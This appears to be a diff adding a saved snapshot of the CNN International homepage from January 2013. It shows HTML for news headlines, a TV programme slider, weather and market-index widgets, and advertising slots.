+<li class="cnn_hpinthenewsl5"><a href="http://edition.cnn.com/2013/01/23/world/asia/myanmar-burma-kachin-conflict/index.html?hpt=hp_inthenews"><span>Myanmar's peace threat</span></a></li>
+<li class="cnn_hpinthenewsl6"><a href="http://edition.cnn.com/2013/01/18/travel/europe-bizarre-buildings/index.html?hpt=hp_inthenews"><span>Most bizarre buildings</span></a></li>
+<li class="cnn_hpinthenewsl7"><a href="http://edition.cnn.com/2013/01/23/opinion/bear-apophis-asteroid/index.html?hpt=hp_inthenews"><span>'Doomsday asteroid'</span></a></li>
+</ul>
+</div>
+</div>
+<div class="cnn_pad2top cnn_shdspc"></div>
+<div class="cnn_contentarea cnn_shdcamtt1">
+<div class="cnn_shdcaheader"></div>
+<div id="cnn_maintopt1">
+<div id="cnn_maint1lftf">
+<div id="cnn_maintt1imgbul">
+<div class="cnn_relpostn">
+<div class="cnn_mtt1img">
+<div><a href="http://edition.cnn.com/2013/01/24/politics/congress-gun-control/index.html?hpt=hp_t1"><img src="./cf/130124135403-feinstein-guns-t1-main.jpg" alt="" border="0" height="250" hspace="0" vspace="0" width="250"></a></div>
+</div>
+<div class="cnn_mtt1imgh">
+<div class="cnn_mtt1imghtitle"><h2><span><a href="http://edition.cnn.com/2013/01/24/politics/congress-gun-control/index.html?hpt=hp_t1">Senator proposes U.S. assault weapons ban</a></span></h2></div>
+</div>
+</div>
+<div class="cnn_mtt1content">
+<div id="cnn_mtt1lftarea">
+<p>
+Almost six weeks after the shooting that killed 20 first graders, U.S. Senator Dianne Feinstein proposes a federal ban on assault rifles and semi-automatic weapons.
+<a href="http://edition.cnn.com/2013/01/24/politics/congress-gun-control/index.html?hpt=hp_t1">FULL STORY</a>
+</p>
+</div>
+<div id="cnn_mtt1rgtarea">
+<ul class="cnn_bulletbin"> <li> <span class="cnnPreWOOL"></span> <a href="http://edition.cnn.com/video/?hpt=hp_t1#/video/bestoftv/2013/01/24/exp-erin-senator-feinsteins-uphill-battle-with-assault-weapons-ban.cnn">Weapons ban an 'uphill battle'</a> <span class="cnnPostWOOL"></span> <a href="http://edition.cnn.com/video/?hpt=hp_t1#/video/bestoftv/2013/01/24/exp-erin-senator-feinsteins-uphill-battle-with-assault-weapons-ban.cnn" target=""><img class="cnnVideoIcon" width="16" height="1 [...]
+<div class="cnn_clear"></div>
+</div>
+</div>
+<div class="cnn_maint1dline"></div>
+<div id="cnn_maintt2bul">
+<div class="cnn_mtt1content">
+<h4>NORTH KOREA THREAT</h4> <div class="cnn_divline"></div> <ul class="cnn_bulletbin"> <li> <span class="cnnPreWOOL"></span> <a href="http://edition.cnn.com/2013/01/23/world/asia/north-korea-nuclear-test/index.html?hpt=hp_t2">Nuclear test to be part of 'action' on U.S.</a> <span class="cnnPostWOOL"></span> </li> <li> <span class="cnnPreWOOL"></span> <a href="http://security.blogs.cnn.com/2013/01/24/n-korea-completes-facilities-key-to-any-new-nuke-test-analysis-shows/?hpt=hp_t2">Satellite [...]
+</div>
+</div>
+</div>
+<div id="cnn_maintoplive">
+<div class="cnn_maintoplivepad">
+<!-- C1 -->
+<div class="cnn_relpostn">
+<div class="cnn_mtt1img"><a href="http://edition.cnn.com/2013/01/24/opinion/north-korea-rocket-opinion/index.html?hpt=hp_c1" target=""><img src="./cf/130124063356-kim-jong-un-c1-main.jpg" alt="" border="0" height="234" hspace="0" vspace="0" width="416"></a></div>
+<div class="cnn_mtt1imgh">
+<div class="cnn_mtt1imghtitle">
+<h1><span><a href="http://edition.cnn.com/2013/01/24/opinion/north-korea-rocket-opinion/index.html?hpt=hp_c1" target="">Can sanctions deter North Korea?</a></span></h1>
+</div>
+</div>
+</div>
+<p>
+As Pyongyang directs its ire at the U.S. by announcing plans for a nuclear test and more rocket launches, North Korea expert George A. Lopez believes more U.N. sanctions will kick-start talks.
+<a href="http://edition.cnn.com/2013/01/24/opinion/north-korea-rocket-opinion/index.html?hpt=hp_c1" target="">FULL STORY</a>
+|
+<span class="cnnPreWOOL"></span>
+<a href="http://edition.cnn.com/2013/01/24/asia/gallery/north-korean-military/index.html?hpt=hp_c1">MILITARY MIGHT</a>
+<span class="cnnPostWOOL"></span>
+</p>
+<!-- C2s -->
+<div class="cnn_mc2cntr">
+<div class="cnn_mc23x1cnntr"> <div class="cnn_mc2hdrcntr cnn_mc2numhdr1"> <div class="cnn_mc2hdr2" style="width:100%">REVOLUTION ANNIVERSARY</div> <div class="cnn_divline"></div> </div> <div id="cnn_mc2_large1" class="cnn_mc2_large cnn_mc2_img_left"> <div class="cnn_mc2_text_right" style="height:106px"> <div class="cnn_mc2_header"><a href="http://edition.cnn.com/2013/01/24/opinion/schneider-egypt/index.html?hpt=hp_c2"></a></div> <div class="cnn_mc2_headline"> <a href="http://edition.cnn. [...]
+<div class="cnn_mc23x1cnntr"> <div class="cnn_mc2hdrcntr cnn_mc2numhdr1"> <div class="cnn_mc2hdr2r"><a href="http://edition.cnn.com/SPECIALS/davos/index.html?hpt=hp_c3">All DAVOS 2013 »</a></div> <div class="cnn_mc2hdr2 cnn_mc2hdr1" style="width:50%"><h4><a href="http://edition.cnn.com/SPECIALS/davos/index.html?hpt=hp_c3">DAVOS 2013</a></h4></div> <div class="cnn_divline"></div> </div> <div id="cnn_mc2_large1" class="cnn_mc2_large cnn_mc2_img_right"> <div class="cnn_mc2_text_left" style= [...]
+<div class="cnn_mc23x1cnntr"> <div class="cnn_mc2hdrcntr cnn_mc2numhdr1"> <div class="cnn_mc2hdr2" style="width:100%">READ THIS, WATCH THAT</div> <div class="cnn_divline"></div> </div> <div class="cnn_mc2nodecntr"> <div class="cnn_mc2node"> <div class="cnn_mtlplnimg"> <div><a href="http://edition.cnn.com/video/?hpt=hp_c4#/video/world/2013/01/24/pkg-mann-india-gandhi-dynasty.cnn"><img src="./cf/130124173044-pkg-mann-india-gandhi-dynasty-00003305-video-tease.jpg" alt="" border="0" height=" [...]
+<!--content.bins.C5 is empty-->
+</div>
+</div>
+</div>
+<div id="cnn_maintoplive_border"></div>
+<div class="cnn_pad18top"></div>
+<!--div class="cnn_clearmt1t2"></div>
+</div-->
+<div class="cnn_clearmt1t2"></div>
+</div><!--/cnn_maincntr-->
+<div id="cnn_maintopprofile">
+<div class="cnn_shdcontent">
+<script>cnnad_newTileIDGroup(['300x250_rgt','120x90_bot1','120x90_bot2','120x90_bot3','120x90_bot4','120x90_bot5','120x90_bot6','120x90_bot7','120x90_bot8','120x90_bot9']);</script>
+<div>
+<span class="_fwph" id="medium_rectangle">
+<form id="_fw_form_medium_rectangle" style="display:none">
+<input id="_fw_input_medium_rectangle" name="_fw_input_medium_rectangle" type="hidden" value="w=300&h=250&envp=g_js&sflg=-nrpl;">
+</form>
+<span class="_fwac" id="_fw_container_medium_rectangle">
+<!-- ADSPACE: homepage/main/rgt.300x250 -->
+<!-- CALLOUT|http://ads.cnn.com/html.ng/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=300x250_rgt&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs|CALLOUT -->
+<div id="ad-874375" align="center" style="padding: 0; margin: 0; border: 0;"><iframe id="874375" name="874375" width="300" height="250" style="position: relative; top: 0px; left: 0px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no" src="./cf/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=300x250_rgt&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs&Params.User.htm" class=" adunit_300x250"></iframe></div><script>cnnad_createAd("874375","http: [...]
+</span>
+</span>
+</div>
+<div class="cnn_adtitle"><img src="./cf/advertisement.gif" alt="" border="0" height="5" width="58"></div>
+<div class="cnn_divline"></div>
+</div>
+<div class="cnn_hppersonal">
+<div class="cnn_pad12top"></div>
+<!-- Social Follow Buttons -->
+<div class="cnn_follow">
+<div class="cnn_followfb">
+<iframe src="./cf/like.htm" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:95px; height:21px;" allowtransparency="true"></iframe>
+</div>
+<div class="cnn_followtw">
+<iframe allowtransparency="true" frameborder="0" scrolling="no" src="./cf/follow_button.1359077775.htm" class="twitter-follow-button twitter-follow-button" style="width: 100px; height: 20px;" title="Twitter Follow Button" data-twttr-rendered="true"></iframe>
+</div>
+</div>
+<!-- /Social Follow Buttons -->
+<div class="cnn_divline"></div>
+</div>
+<div class="cnn_hppersonal">
+<div id="cnn_pmtvmodule">
+<div class="cnn_hppersonalhdr">
+<div class="cnn_hppersonalhdr1">CNN TV</div>
+<div class="cnn_divline"></div>
+</div>
+<div id="cnn_pmtvmodcntr" class="">
+<div class="cnn_pmtvmodnavlft"><a href="javascript:void(0);" id="cnn_pmtvmodnlft" class=""></a></div>
+<div id="cnn_pmtvmodslidecntr">
+<div class="cnn_relpostn">
+<div id="cnn_pmtvmodslidecntnt" style="width: 1498px; left: -214px;">
+<div class="cnn_pmtvmodslide">
+<div class="cnn_relpostn">
+<div class="cnn_pmtvmodslide1"><img width="214" height="122" border="0" src="./cf/130124120451-david-cameron-getty-uk-cnni-tvbox-left-tease.jpg" alt=""></div>
+<div class="cnn_pmtvmodslide1b"><a href="http://amanpour.blogs.cnn.com/2013/01/24/cameron-amanpour-eu/%20?hpt=hp_tvbx"><img width="214" height="122" border="0" src="./cf/1px(1).gif"></a></div>
+<div class="cnn_pmtvmodslide2"></div>
+<div class="cnn_pmtvmodslide3">
+<div class="cnn_pmtvmodslide3a">
+British PM talks about UK & EU
+</div>
+<div class="cnn_pmtvmodslide3b">Cameron on Amanpour</div>
+</div>
+</div>
+</div>
+<div class="cnn_pmtvmodslide">
+<div class="cnn_relpostn">
+<div class="cnn_pmtvmodslide1"><img width="214" height="122" border="0" src="./cf/130122025846-unemployment-spain-left-tease.jpg" alt=""></div>
+<div class="cnn_pmtvmodslide1b"><a href="http://edition.cnn.com/video/?hpt=hp_tvbx#/video/business/2013/01/24/lklv-wbt-goodman-spain-unemployment.cnn"><img width="214" height="122" border="0" src="./cf/1px(1).gif"></a></div>
+<div class="cnn_pmtvmodslide2"></div>
+<div class="cnn_pmtvmodslide3">
+<div class="cnn_pmtvmodslide3a">
+Al Goodman on 26% jobless
+</div>
+<div class="cnn_pmtvmodslide3b">Spain's New High</div>
+</div>
+</div>
+</div>
+<div class="cnn_pmtvmodslide">
+<div class="cnn_relpostn">
+<div class="cnn_pmtvmodslide1"><img width="214" height="122" border="0" src="./cf/130124015917-pkg-soares-davos-top-tech-00013829-left-tease.jpg" alt=""></div>
+<div class="cnn_pmtvmodslide1b"><a href="http://edition.cnn.com/video/?hpt=hp_tvbx#/video/tech/2013/01/24/pkg-soares-davos-top-tech.cnn"><img width="214" height="122" border="0" src="./cf/1px(1).gif"></a></div>
+<div class="cnn_pmtvmodslide2"></div>
+<div class="cnn_pmtvmodslide3">
+<div class="cnn_pmtvmodslide3a">
+Technology everywhere at WEF
+</div>
+<div class="cnn_pmtvmodslide3b">Davos Goes Tech</div>
+</div>
+</div>
+</div>
+<div class="cnn_pmtvmodslide">
+<div class="cnn_relpostn">
+<div class="cnn_pmtvmodslide1"><img width="214" height="122" border="0" src="./cf/130121194827-harry-2-left-tease.jpg" alt=""></div>
+<div class="cnn_pmtvmodslide1b"><a href="http://edition.cnn.com/video/?hpt=hp_tvbx#/video/bestoftv/2013/01/21/pkg-foster-afghanistan-prince-harry-in-action.cnn"><img width="214" height="122" border="0" src="./cf/1px(1).gif"></a></div>
+<div class="cnn_pmtvmodslide2"></div>
+<div class="cnn_pmtvmodslide3">
+<div class="cnn_pmtvmodslide3a">
+Prince ends Afghan deployment
+</div>
+<div class="cnn_pmtvmodslide3b">Harry Talks to Media</div>
+</div>
+</div>
+</div>
+<div class="cnn_pmtvmodslide">
+<div class="cnn_relpostn">
+<div class="cnn_pmtvmodslide1"><img width="214" height="122" border="0" src="./cf/130121090431-lance-armstrong-tour-de-france-left-tease.jpg" alt=""></div>
+<div class="cnn_pmtvmodslide1b"><a href="http://edition.cnn.com/video/?hpt=hp_tvbx#/video/world/2013/01/21/pkg-verjee-armstrong-french-reaction.cnn"><img width="214" height="122" border="0" src="./cf/1px(1).gif"></a></div>
+<div class="cnn_pmtvmodslide2"></div>
+<div class="cnn_pmtvmodslide3">
+<div class="cnn_pmtvmodslide3a">
+Zain Verjee takes a "Tour de Paris"
+</div>
+<div class="cnn_pmtvmodslide3b">What Do French Think?</div>
+</div>
+</div>
+</div>
+<div class="cnn_pmtvmodslide">
+<div class="cnn_relpostn">
+<div class="cnn_pmtvmodslide1"><img width="214" height="122" border="0" src="./cf/130122022600-pkg-defterios-davos-reflections-00001605-left-tease.jpg" alt=""></div>
+<div class="cnn_pmtvmodslide1b"><a href="http://edition.cnn.com/video/?hpt=hp_tvbx#/video/business/2013/01/22/pkg-defterios-davos-reflections.cnn"><img width="214" height="122" border="0" src="./cf/1px(1).gif"></a></div>
+<div class="cnn_pmtvmodslide2"></div>
+<div class="cnn_pmtvmodslide3">
+<div class="cnn_pmtvmodslide3a">
+John Defterios shares his thoughts
+</div>
+<div class="cnn_pmtvmodslide3b">Davos Reflections</div>
+</div>
+</div>
+</div>
+<div class="cnn_pmtvmodslide">
+<div class="cnn_relpostn">
+<div class="cnn_pmtvmodslide1"><img width="214" height="122" border="0" src="./cf/130123224300-pkg-wedeman-italy-colorful-colosseum-00000225-left-tease.jpg" alt=""></div>
+<div class="cnn_pmtvmodslide1b"><a href="http://edition.cnn.com/video/?hpt=hp_tvbx#/video/world/2013/01/24/pkg-wedeman-italy-colorful-colosseum.cnn"><img width="214" height="122" border="0" src="./cf/1px(1).gif"></a></div>
+<div class="cnn_pmtvmodslide2"></div>
+<div class="cnn_pmtvmodslide3">
+<div class="cnn_pmtvmodslide3a">
+Ben Wedeman on the new discovery
+</div>
+<div class="cnn_pmtvmodslide3b">Colosseum Color?</div>
+</div>
+</div>
+</div>
+</div>
+<div class="cnn_loadingicon"><img src="./cf/loading.gif"></div>
+</div>
+</div>
+<div class="cnn_pmtvmodnavrgt"><a href="javascript:void(0);" id="cnn_pmtvmodnrgt"></a></div>
+</div>
+<div class="cnn_tsbnav cnn_pmtvmodddown">
+<form>
+<select onchange="if (this.options[selectedIndex].value != '') location.href = this.options[selectedIndex].value;">
+<option value="/Programs/?hpt=hp_tvbx">TV Programs
+</option><option value="" disabled="disabled">-----------------------------------------------
+</option><option value="/CNNI/schedules/europe/?hpt=hp_tvbx">Schedule
+</option><option disabled="disabled" value="">----- Weekdays -----
+</option><option value="http://amanpour.blogs.cnn.com/?hpt=hp_tvbx">Amanpour.
+</option><option value="http://connecttheworld.blogs.cnn.com/?hpt=hp_tvbx">Connect The World
+</option><option value="http://internationaldesk.blogs.cnn.com/?hpt=hp_tvbx">International Desk
+</option><option value="http://newsstream.blogs.cnn.com/?hpt=hp_tvbx">News Stream
+</option><option value="http://business.blogs.cnn.com/category/quest-means-business/?hpt=hp_tvbx">Quest Means Business
+</option><option value="http://piersmorgan.blogs.cnn.com">Piers Morgan Tonight
+</option><option value="/SPORT/?hpt=hp_tvbx">World Sport
+</option><option disabled="disabled" value="">----- Business specials -----
+</option><option value="/SPECIALS/business.traveller/?hpt=hp_tvbx">Business Traveller
+</option><option value="/BUSINESS/specials/global-exchange/?hpt=hp_tvbx">Global Exchange
+</option><option value="/SPECIALS/leading-women/?hpt=hp_tvbx">Leading Women
+</option><option value="/CNNI/Programs/marketplace.africa/?hpt=hp_tvbx">Marketplace Africa
+</option><option value="/BUSINESS/specials/marketplace-europe/?hpt=hp_tvbx">Marketplace Europe
+</option><option value="/CNNI/Programs/mme/?hpt=hp_tvbx">Marketplace Middle East
+</option><option disabled="disabled" value="">----- Sports specials -----
+</option><option value="/SPORT/golf/?hpt=hp_tvbx">Living Golf
+</option><option value="/CNNI/Programs/main.sail/?hpt=hp_tvbx">Mainsail
+</option><option value="/SPORT/tennis/?hpt=hp_tvbx">Open Court
+</option><option value="/SPORT/horse-racing/?hpt=hp_tvbx">Winning Post
+</option><option disabled="disabled" value="">----- News specials -----
+</option><option value="http://backstory.blogs.cnn.com/?hpt=hp_tvbx">BackStory
+</option><option value="http://globalpublicsquare.blogs.cnn.com/?hpt=hp_tvbx">Fareed Zakaria GPS
+</option><option value="http://sotu.blogs.cnn.com/?hpt=hp_tvbx">State of the Union
+</option><option value="/CNNI/Programs/untoldstories/?hpt=hp_tvbx">World's Untold Stories
+</option><option disabled="disabled" value="">----- Other -----
+</option><option value="/CNNI/Programs/africanvoices/?hpt=hp_tvbx">African Voices
+</option><option value="/CNNI/Programs/cnngo/?hpt=hp_tvbx">CNN Go
+</option><option value="/CNNI/Programs/eco.solutions/?hpt=hp_tvbx">Eco Solutions
+</option><option value="/SPECIALS/eye.on/?hpt=hp_tvbx">Eye On
+</option><option value="/SPECIALS/impact.your.world/?hpt=hp_tvbx">Impact Your World
+</option><option value="/CNNI/Programs/insideafrica/?hpt=hp_tvbx">Inside Africa
+</option><option value="/CNNI/Programs/middle.east/?hpt=hp_tvbx">Inside the Middle East
+</option><option value="/ASIA/talkasia/?hpt=hp_tvbx">Talk Asia
+</option><option value="/CNNI/Programs/connect.the.world/the.gateway/?hpt=hp_tvbx">The Gateway
+</option><option value="/SPECIALS/human-to-hero/?hpt=hp_tvbx">Human 2 Hero
+</option></select>
+</form>
+</div>
+<div class="cnn_pmtvmodlnks">
+<div class="cnn_pmtvmodlnks1"><a href="http://edition.cnn.com/CNNI/schedules/europe/?hpt=hp_tvbx">Full Schedule</a></div>
+<div class="cnn_clear"></div>
+</div>
+</div>
+</div>
+<script>
+/* start up cnntv slider */
+$j(document).ready(function() {
+'use strict';
+CNNHMPAGE.pmod.cnntv.init((5 * 1000));
+});
+</script> <div class="cnn_hppersonal">
+<div class="cnn_pad12top"></div>
+<div class="cnn_hppersonalhdr" id="cnn_hppsnlhdrwthr" style="">
+<div class="cnn_hppersonalhdr1">WEATHER</div>
+<div class="cnn_divline"></div>
+</div>
+<div id="pmWeatherIntl">
+<!-- Default Search Box -->
+<div id="cnnGetLocalBox" style="">
+<form onsubmit="MainLocalObj.Weather.checkInput('weather',this.inputField.value);return false;" id="pmWeatherLocation" name="localAllLookupForm">
+<fieldset>
+<div class="pmWrapper">
+<label for="weatherLoc">
+Edit location
+</label>
+<input type="text" id="weatherLoc" class="pmWeatherHollow" name="inputField" value="Enter a U.S. Zip or Intl city" onfocus="MainLocalObj.Weather.Weather.inputBlur(this);"><a id="weatherLocBtn" href="javascript:MainLocalObj.Weather.checkInput('weather', document.localAllLookupForm.inputField.value);"><span>Go</span></a>
+</div>
+<div id="pmLocResultsContainer" style="display: none;"></div>
+</fieldset>
+</form>
+</div>
+<div class="pmWrapper" id="pmWeatherTab" style=""><p id="pmSelectedWeather"> <span>London, United Kingdom</span><span id="changeLocLink"></span></p><div class="pmWrapper"> <p id="curConditionsWeatherDay" class="weatherDay">Current conditions</p> <div id="pmWeatherIcon"> <a href="http://weather.edition.cnn.com/weather/intl/forecast.jsp?zipCode=336736767676"><img class="cnn_ie6png" src="./cf/07.png" alt="your weather"></a> </div> <div id="pmCurrentWeather"> <div id="pmCurrTemp"> <span [...]
+<div class="pmWrapper" id="pmWeatherTom"></div>
+</div>
+</div>
+<div class="cnn_hppersonal">
+<div class="cnn_pad12top"></div>
+<div class="cnn_hppersonalhdr">
+<div class="cnn_hppersonalhdr1">MARKETS</div>
+<div class="cnn_divline"></div>
+</div>
+<div id="pmMarkets" style="">
+<div id="pmIndeciesIntl">
+ <div class="pmWrapper">
+ <div class="marketTime">
+ Updated <span id="indexUpdated">643 GMT, Jan 25</span>
+ <a id="allMarkets" href="http://money.cnn.com/data/world_markets/" target="new">all markets»</a>
+ </div>
+ <a id="asiaMarketBtn" class="toggle togOn"><span>Asia</span></a>
+ <a id="eurMarketBtn" class="toggle togOff"><span>Europe</span></a>
+ <a id="usMarketBtn" class="toggle togOff"><span>Us</span></a>
+ </div>
+ <div id="asiaMarket" class="tab pmOn">
+ <ul>
+ <li class="market-1">
+ <div class="marketInfo-left"> <!-- left side -->
+ <span class="marketName"><a href="http://money.cnn.com/data/world_markets/hang_seng" target="new">Hang Seng</a></span>
+ <span class="marketIndex">23,500.14</span>
+ </div>
+ <div class="marketNums-right down">
+ <div class="percentDiff">
+ <span>(<span class="plusMinus">-</span>0.42%)</span>
+ </div>
+ <div class="numDiff">
+ <span><span class="plusMinus">-</span>98.76</span>
+ </div>
+ </div>
+ </li>
+ <li class="market-2 closed">
+ <div class="marketInfo-left"> <!-- left side -->
+ <span class="marketName"><a href="http://money.cnn.com/data/world_markets/nikkei225" target="new">Nikkei</a></span>
+ <span class="marketIndex">10,926.65</span>
+ </div>
+ <div class="marketNums-right up">
+ <span class="closedMarket">Closed</span>
+ <div class="percentDiff">
+ <span>(<span class="plusMinus">+</span>2.88%)</span>
+ </div>
+ <div class="numDiff">
+ <span><span class="plusMinus">+</span>305.78</span>
+ </div>
+ </div>
+ </li>
+ <li class="market-3 closed">
+ <div class="marketInfo-left"> <!-- left side -->
+ <span class="marketName"><a href="http://money.cnn.com/data/world_markets/asx100" target="new">ASX 100</a></span>
+ <span class="marketIndex">4,858.90</span>
+ </div>
+ <div class="marketNums-right up">
+ <span class="closedMarket">Closed</span>
+ <div class="percentDiff">
+ <span>(<span class="plusMinus">+</span>0.52%)</span>
+ </div>
+ <div class="numDiff">
+ <span><span class="plusMinus">+</span>25.1</span>
+ </div>
+ </div>
+ </li>
+ </ul>
+ </div>
+ <div id="eurMarket" class="tab pmOff">
+ <ul>
+ <li class="market-1 closed">
+ <div class="marketInfo-left"> <!-- left side -->
+ <span class="marketName"><a href="http://money.cnn.com/data/world_markets/ftse100" target="new">FTSE 100</a></span>
+ <span class="marketIndex">6,264.91</span>
+ </div>
+ <div class="marketNums-right up">
+ <span class="closedMarket">Closed</span>
+ <div class="percentDiff">
+ <span>(<span class="plusMinus">+</span>1.09%)</span>
+ </div>
+ <div class="numDiff">
+ <span><span class="plusMinus">+</span>67.27</span>
+ </div>
+ </div>
+ </li>
+ <li class="market-2 closed">
+ <div class="marketInfo-left"> <!-- left side -->
+ <span class="marketName"><a href="http://money.cnn.com/data/world_markets/cac40" target="new">CAC 40</a></span>
+ <span class="marketIndex">3,752.17</span>
+ </div>
+ <div class="marketNums-right up">
+ <span class="closedMarket">Closed</span>
+ <div class="percentDiff">
+ <span>(<span class="plusMinus">+</span>0.70%)</span>
+ </div>
+ <div class="numDiff">
+ <span><span class="plusMinus">+</span>26</span>
+ </div>
+ </div>
+ </li>
+ <li class="market-3 closed">
+ <div class="marketInfo-left"> <!-- left side -->
+ <span class="marketName"><a href="http://money.cnn.com/data/world_markets/dax" target="new">DAX</a></span>
+ <span class="marketIndex">7,748.13</span>
+ </div>
+ <div class="marketNums-right up">
+ <span class="closedMarket">Closed</span>
+ <div class="percentDiff">
+ <span>(<span class="plusMinus">+</span>0.53%)</span>
+ </div>
+ <div class="numDiff">
+ <span><span class="plusMinus">+</span>40.59</span>
+ </div>
+ </div>
+ </li>
+ </ul>
+ </div>
+ <div id="usMarket" class="tab pmOff">
+ <ul>
+ <li class="market-1 closed">
+ <div class="marketInfo-left"> <!-- left side -->
+ <span class="marketName"><a href="http://money.cnn.com/data/markets/dow" target="new">Dow</a></span>
+ <span class="marketIndex">13,825.33</span>
+ </div>
+ <div class="marketNums-right up">
+ <span class="closedMarket">Closed</span>
+ <div class="percentDiff">
+ <span>(<span class="plusMinus">+</span>0.33%)</span>
+ </div>
+ <div class="numDiff">
+ <span><span class="plusMinus">+</span>46</span>
+ </div>
+ </div>
+ </li>
+ <li class="market-2 closed">
+ <div class="marketInfo-left"> <!-- left side -->
+ <span class="marketName"><a href="http://money.cnn.com/data/markets/nasdaq" target="new">Nasdaq</a></span>
+ <span class="marketIndex">3,130.38</span>
+ </div>
+ <div class="marketNums-right down">
+ <span class="closedMarket">Closed</span>
+ <div class="percentDiff">
+ <span>(<span class="plusMinus">-</span>0.74%)</span>
+ </div>
+ <div class="numDiff">
+ <span><span class="plusMinus">-</span>23.29</span>
+ </div>
+ </div>
+ </li>
+ <li class="market-3 closed">
+ <div class="marketInfo-left"> <!-- left side -->
+ <span class="marketName"><a href="http://money.cnn.com/data/markets/sandp" target="new">S&P 500</a></span>
+ <span class="marketIndex">1,494.82</span>
+ </div>
+ <div class="marketNums-right up">
+ <span class="closedMarket">Closed</span>
+ <div class="percentDiff">
+ <span>(<span class="plusMinus">+</span>0.00%)</span>
+ </div>
+ <div class="numDiff">
+ <span><span class="plusMinus">+</span>0.01</span>
+ </div>
+ </div>
+ </li>
+ </ul>
+ </div>
+
+ <div id="moneySponsor" style="width:175px"><!-- ADSPACE: homepage/spon.88x31_worldbiz -->
+<!-- CALLOUT|http://ads.cnn.com/html.ng/site=cnn_international&cnn_intl_position=88x31_spon_worldbiz&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs|CALLOUT -->
+<div id="ad-463051" align="center" style="padding: 0; margin: 0; border: 0;"><iframe id="463051" name="463051" width="0" height="0" style="position: absolute; top: -20px; left: -20px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no" src="./cf/site=cnn_international&cnn_intl_position=88x31_spon_worldbiz&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs&Params.User.htm"></iframe></div></div>
+
+</div>
+
+<div class="cnn_clear"></div>
+</div>
+<div id="cnn_personalloading" style="padding: 15px; text-align: center; display: none;"><img src="./cf/loading(1).gif"></div>
+</div>
+<div class="cnn_hppersonal">
+<div class="cnn_pad12top"></div>
+<div style="margin-left:-8px">
+<!-- ADSPACE: homepage/main/rgt2.300x250 -->
+
+
+
+
+
+
+<!-- CALLOUT|http://ads.cnn.com/html.ng/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=300x250_rgt2&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs|CALLOUT -->
+<div id="ad-92401" align="center" style="padding: 0; margin: 0; border: 0;"><iframe id="92401" name="92401" width="300" height="250" style="position: relative; top: 0px; left: 0px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no" src="./cf/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=300x250_rgt2&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs&Params.User.htm" class=" adunit_300x250"></iframe></div>
+<script type="text/javascript">
+cnnad_createAd("92401","http://ads.cnn.com/html.ng/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=300x250_rgt2&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs","250","300");
+cnnad_registerSpace(92401,300,250);
+</script>
+
+
+
+
+
+
+
+
+
+</div>
+<div style="text-align: right; margin: -8px -5px 0px 0px;"><img width="58" height="5" border="0" src="./cf/advertisement.gif" alt=""></div>
+</div>
+<div class="cnn_pad18top"></div>
+</div>
+<!-- /cnn_maintopprofile -->
+<div class="cnn_clear"></div>
+<div class="cnn_shdcafooter"></div>
+</div>
+<!--strip-->
+<div class="cnn_pad2top cnn_shdspc"></div>
+<div class="cnn_contentarea cnn_filterareabox cnn_hpgalleryslider"><div class="cnn_sdbx"><div class="cnn_sdbx1"><div class="cnn_sdbx2"><div class="cnn_sdbx3"><div class="cnn_sdbx4"><div class="cnn_sdbx5"><div class="cnn_sdbxcntnt"><div style="width:980px">
+<div class="cnn_fabheader">
+<div class="cnn_fabh1">
+</div>
+<div class="cnn_fabh2" id="cnnGalleryTabs"></div>
+<div class="cnn_clear"></div>
+</div>
+<div class="cnn_fabcontentarea" id="cnn_fabcontent">
+<div class="cnn_fabcprv_off" id="cnn_fabcprev"></div>
+<div class="cnn_fabcaholder"><div class="cnn_fabcawindow"><div class="cnn_fabcaslide"><div id="cnn_GalleryViewPort"><div id="cnn_GallerySliderContainer" style="width: 3624px;">
+<div class="cnn_fabcaslab" id="">
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/23/politics/five-things-bengazi/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background-image: url(http://i2.cdn.turner.com/cnn/dam/assets/130123144124-clinton-benghazi-house-hearing-hands-video-tease.jpg); background-color: transparent; display: block; background-position: 0px 0px; background-repeat: no-repeat no-repeat;" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/23/politics/five-things-bengazi/index.html?hpt=hp_mid"><span>5 things we learned from Benghazi probe</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/24/opinion/caplan-neanderthal-baby/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background-image: url(http://i2.cdn.turner.com/cnn/dam/assets/130123233530-caplan-neanderthal-man-video-tease.jpg); background-color: transparent; display: block; background-position: 0px 0px; background-repeat: no-repeat no-repeat;" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/24/opinion/caplan-neanderthal-baby/index.html?hpt=hp_mid"><span>Neanderthal cloning a fantasy </span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/24/sport/shackleton-epic-journey-relived/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background-image: url(http://i2.cdn.turner.com/cnn/dam/assets/130122104727-shackleton-epic-original-journey-endurance-video-tease.jpg); background-color: transparent; display: block; background-position: 0px 0px; background-repeat: no-repeat no-repeat;" width="120"></a></div>
